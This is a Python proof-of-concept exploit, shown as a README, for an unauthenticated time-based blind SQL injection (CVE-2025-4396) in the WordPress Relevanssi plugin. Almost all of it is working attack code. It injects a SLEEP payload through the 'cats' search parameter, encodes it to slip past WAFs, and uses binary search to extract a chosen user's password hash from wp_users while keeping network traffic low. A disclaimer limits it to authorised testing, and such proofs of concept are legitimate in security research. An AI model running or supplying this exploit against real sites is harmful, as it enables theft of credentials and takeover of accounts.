README.md
Rendering markdown...
#!/usr/bin/env python3
"""
=============================================================================
CVE-2025-4396 - WordPress Relevanssi SQLi (Binary Search Edition)
=============================================================================
Author: [n3fhara]
Date: 2026-03-18
Version: 1.0 (Dichotomy/Binary Search Edition)
Target: WordPress with Relevanssi Plugin (Vulnerable to CVE-2025-4396)
Description:
------------
This Proof of Concept (PoC) exploits an unauthenticated Time-Based Blind SQL
injection in the Relevanssi plugin (CVE-2025-4396).
Unlike standard linear extraction, this tool implements a Binary Search
algorithm (Dichotomy). It drastically reduces the number of HTTP requests
sent to the target server by evaluating ASCII values with strictly greater
(>) conditions. This exponentially increases extraction speed while lowering
the network footprint.
Disclaimer:
-----------
This tool is for educational purposes and authorized Red Team / Purple Team
assessments ONLY. Do not use against systems you do not own or lack explicit
permission to test.
Usage:
------
python3 CVE_2025_4396_Stealth.py -t "https://target.local/?s=test&cats=" -u 2 -s 3 -v
=============================================================================
"""
import requests
import time
import urllib3
import argparse
import sys
import logging
# Disable SSL/TLS warnings (useful for local labs and self-signed certificates)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Maximum length for WP 6.8+ hashes (HMAC-SHA384 + Bcrypt)
MAX_HASH_LENGTH = 64
def parse_args():
"""Parse command line arguments."""
parser = argparse.ArgumentParser(
description="Binary Search (Dichotomy) PoC for CVE-2025-4396",
formatter_class=argparse.RawTextHelpHelpFormatter
)
parser.add_argument("-t", "--target", required=True,
help="Target URL including vulnerable parameters.\nExample: https://target.local/?s=test&cats=")
parser.add_argument("-u", "--userid", required=True, type=int,
help="The WordPress User ID to extract the hash from (e.g., 1)")
parser.add_argument("-s", "--sleep", default=3, type=int,
help="Sleep time threshold in seconds (default: 3)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Enable verbose debug logging")
return parser.parse_args()
def setup_logger(verbose):
"""Configure the logging module for console output."""
level = logging.DEBUG if verbose else logging.INFO
logging.basicConfig(
level=level,
format='[%(asctime)s] [%(levelname)s] %(message)s',
datefmt='%H:%M:%S'
)
# Reduce noise from underlying HTTP libraries
logging.getLogger("urllib3").setLevel(logging.WARNING)
def check_boolean(target, user_id, pos, ascii_value, sleep_time):
"""
Sends a Time-Based SQLi payload to evaluate if the ASCII value of the
character at position 'pos' is strictly greater (>) than 'ascii_value'.
Args:
target (str): The vulnerable URL endpoint.
user_id (int): Target WP User ID.
pos (int): The current string index being evaluated.
ascii_value (int): The ASCII value tested in the dichotomy algorithm.
sleep_time (int): Threshold in seconds to determine True/False conditions.
Returns:
bool: True if the sleep occurred (character ASCII is > ascii_value), False otherwise.
"""
# Core mathematical payload avoiding commas
payload = f"1) AND (SELECT SLEEP({sleep_time}*(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID={user_id}) FROM {pos} FOR 1))>{ascii_value})))-- -"
# URL Encoding: Crucial step to ensure mathematical operators (>, <, =) pass through WAFs and web servers
payload_encoded = payload.replace(' ', '%20').replace('>', '%3E').replace('<', '%3C').replace('=', '%3D').replace('*', '%2A')
# Ensure proper URL formatting
clean_target = target if target.endswith('/') else target + '/'
if "cats=" in clean_target:
full_url = clean_target + payload_encoded
else:
full_url = f"{clean_target}?s=test&cats={payload_encoded}"
start_time = time.time()
try:
# Timeout is slightly higher than sleep_time to handle True responses gracefully
requests.get(full_url, verify=False, timeout=sleep_time + 5)
elapsed = time.time() - start_time
except requests.exceptions.ReadTimeout:
elapsed = sleep_time + 5
except requests.exceptions.RequestException as e:
logging.error(f"Network error: {e}")
return False
# ==========================================
# ANTI-JITTER: Double Verification Phase
# ==========================================
if elapsed >= sleep_time:
start_verify = time.time()
try:
requests.get(full_url, verify=False, timeout=sleep_time + 5)
elapsed_verify = time.time() - start_verify
except requests.exceptions.ReadTimeout:
elapsed_verify = sleep_time + 5
return elapsed_verify >= sleep_time
return False
def extract_hash_binary(target, user_id, sleep_time):
"""
Core extraction loop utilizing a Binary Search algorithm.
It recursively divides the ASCII table to find the correct character
in roughly 7 requests per byte.
"""
extracted_hash = ""
logging.info(f"Starting FAST Binary Search extraction for User ID {user_id}...")
logging.info(f"Target: {target}")
# Warm-up request to stabilize initial network latency
try:
requests.get(target, verify=False, timeout=5)
except:
pass
print("\n[+] Fast Extraction in progress:\n")
for pos in range(1, MAX_HASH_LENGTH + 1):
# Printable ASCII range: 32 (space) to 126 (~)
low = 32
high = 126
# Dichotomy logic
while low <= high:
mid = (low + high) // 2
logging.debug(f"Pos {pos}: Testing if ASCII > {mid} (Range {low}-{high})")
is_greater = check_boolean(target, user_id, pos, mid, sleep_time)
if is_greater:
# The character ASCII is strictly greater than 'mid'
low = mid + 1
else:
# The character ASCII is lower or equal to 'mid'
high = mid - 1
# The while loop converges with 'low' holding the exact ASCII value
found_char = chr(low)
# End of Hash / Empty String validation
# If low is 32 (space), we double-check if it's the end of the string (NULL)
if low == 32 and not check_boolean(target, user_id, pos, 31, sleep_time):
print(f"\n\n[-] Null character detected at position {pos}. End of hash reached.")
break
extracted_hash += found_char
# Interactive inline output
sys.stdout.write(f"\rHash: {extracted_hash}\n")
sys.stdout.flush()
return extracted_hash
def main():
"""Main execution flow."""
args = parse_args()
setup_logger(args.verbose)
try:
final_hash = extract_hash_binary(args.target, args.userid, args.sleep)
if final_hash:
print(f"\n\n[!] Extraction complete. Valid Hash: {final_hash}\n")
sys.exit(0) # Standard success exit code
else:
logging.error("Failed to extract hash. Check if the target is vulnerable.")
sys.exit(1) # Standard error exit code
except KeyboardInterrupt:
print("\n\n[!] Extraction aborted by user.")
sys.exit(130) # Standard exit code for SIGINT (Ctrl+C)
if __name__ == "__main__":
main()